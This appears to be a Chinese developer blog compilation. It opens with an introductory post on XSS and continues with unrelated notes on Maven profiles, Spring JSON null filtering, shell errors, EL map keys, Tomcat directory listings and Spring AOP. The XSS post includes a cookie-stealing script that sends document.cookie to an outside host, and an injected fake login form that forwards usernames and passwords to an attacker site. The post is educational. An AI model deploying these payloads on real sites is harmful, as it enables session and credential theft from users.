WEB安全初探之XSS

XSS 全称(Cross Site Scripting) 跨站脚本攻击,是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。

0x01 XSS攻击的分类

根据XSS脚本注入方式的不同,我们可以对XSS攻击进行简单的分类。其中,最常见的就数反射型XSS和存储型XSS了。

1. 反射型XSS

反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。
攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。

2. 存储型XSS

存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。

0x02 XSS攻击的手段及其危害

1. 窃取Cookie

具体实现方法:
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。

2. 引导钓鱼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
function hack()
{
location.replace(“http://www.attackpage.com/record.asp?username=“
+document.forms[0].user.value + “password=” + document.forms[0].pass.value);
}
</script>
<form>
<br><br><HR><H3>这个功能需要登录:</H3 >
<br><br>请输入用户名:<br>
<input type=”text” id=”user”name=”user”>
<br>请输入密码:<br>
<input type=”password” name =“pass”>
<br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>
</form><br><br><HR>

注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。

maven不同环境资源文件打包

一、资源结构

maven工程资源结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
yerba-buena:jvwa yeshaoting$ tree src/main/resources/
src/main/resources/
├── app-db.properties
├── app.properties
├── dev
│   ├── app-db.properties
│   └── app.properties
├── file
│   ├── image.jpg
│   └── stage6.jsp
├── log4j.properties
├── model
│   └── UserMapper.xml
├── prod
│   ├── app-db.properties
│   └── app.properties
├── spring-beans.xml
├── spring-db.xml
└── spring-mvc.xml

4 directories, 13 files

二、需求

服务部署时,希望针对于不同的环境,使用不同的配置文件。
针对于当前工程而言,变化的配置文件为app.properties和app-db.properties。

本地环境使用:src/main/resources/ 目录下的这二个文件。
测试环境使用:src/main/resources/dev 目录下的这二个文件。
生产环境使用:src/main/resources/prod 目录下的这二个文件。

spring过滤值为null的JSON字段

问题说明

使用@ResponseBody注解的spring接口返回的JSON格式结果有时会返回包含值为null的字段,但是与前端联调可能并不希望包含这样的字段。
因此,需要过滤掉这类字段。

解决方案

spring json序列化时,通过com.fasterxml.jackson.annotation.JsonInclude.Include指定是否返回值为null的字段。

如下配置所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
<mvc:annotation-driven>
<mvc:message-converters register-defaults="true">
<bean class="org.springframework.http.converter.json.MappingJackson2HttpMessageConverter">
<property name="objectMapper">
<bean class="com.fasterxml.jackson.databind.ObjectMapper">
<property name="serializationInclusion">
<value type="com.fasterxml.jackson.annotation.JsonInclude.Include">NON_NULL</value>
</property>
</bean>
</property>
</bean>
</mvc:message-converters>
</mvc:annotation-driven>

参考文档

http://segmentfault.com/q/1010000002522525

Syntax error- "(" unexpected

一、问题描述

假如我们在shell文件定义了一个数组pid=(0 0 0 0),运行文件后则会收到报错:Syntax error: “(“ unexpected。

二、原因

主要是因为Linux系统shell版本不兼容引起的。 shell的版本有sh,ksh,csh, bash,dash……等等。用命令ls -al /bin/sh可以得到我们当前所用的Linux系统的shell属于何版本。

三、解决

通过将当前通过以下方式可以使 shell 切换回 bash:
sudo dpkg-reconfigure dash
然后选择 no 或者“否 ”,并确认。这样做将重新配置 dash,并使其不作为默认的 shell 工具。

四、参考文档

Shell编程笔记——Syntax error: “(“ unexpected
http://ask.chinaunix.net/question/974
http://bbs.csdn.net/topics/390132876

EL access a map value by Integer key

el表达式中,默认数值类型为Long型。

一、问题描述

举例说明
servlet定义并返回map数据如下:

1
2
3
4
Map<Integer, String> map = new HashMap<Integer, String>();
map.put(1, "One");
map.put(2, "Two");
map.put(3, "Three");

在jsp页面,通过map[2]不能获取数据Two。因为数值2被装箱成Long型,而map键类型为Integer。
因此,在前端不能通过,报异常。

二、解决方案

将数值转成int型,如下所示:
${map[(2).intValue()]}

三、参考文档

http://stackoverflow.com/questions/924451/el-access-a-map-value-by-integer-key

tomcat访问系统文件及文件夹

一、进入tomcat目录

cd /home/yeshaoting/java/server/tomcat/apache-tomcat-6.0.37

二、修改web.xml配置

vim conf/web.xml

三、修改listings参数

找到名为 default 的servlet配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>true</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

修改listings参数值为 true

listings参数含义说明如下:

1
2
3
4
5
<!--   listings            Should directory listings be produced if there -->
<!-- is no welcome file in this directory? [false] -->
<!-- WARNING: Listings for directories with many -->
<!-- entries can be slow and may consume -->
<!-- significant proportions of server resources. -->

四、参考文档

http://blog.csdn.net/guopengzhang/article/details/5948644
http://xueli.blog.51cto.com/3325186/1585859

mvc-view-controller用法

一、重定向

1
<mvc:view-controller path="/" view-name="redirect:/admin/index"/>

说明:即如果当前路径是/,则重定向到/admin/index

二、view name

1
<mvc:view-controller path="/" view-name="admin/index"/>

如果当前路径是/,则交给相应的视图解析器直接解析为视图
如:

1
2
3
4
5
6
<bean id="defaultViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver" p:order="2">
<property name="viewClass" value="org.springframework.web.servlet.view.JstlView"/>
<property name="contentType" value="text/html"/>
<property name="prefix" value="/WEB-INF/jsp/"/>
<property name="suffix" value=".jsp"/>
</bean>

则得到的视图是:/WEB-INF/jsp/admin/index.jsp

三、参考

http://www.iteye.com/topic/1129445

注解切面缺少注解参数

针对注解Retry进行切面处理,报error at –0 formal unbound in pointcut异常。

因为传递给aroundAdvice切面方法缺少注解参数。
例如:

1
2
@Around(value = "point()")
public void aroundAdvice(ProceedingJoinPoint joinPoint, Retry retry) throws Throwable

正确样例

1
2
@Around(value = "point() && @annotation(retry)")
public void aroundAdvice(ProceedingJoinPoint joinPoint, Retry retry) throws Throwable
|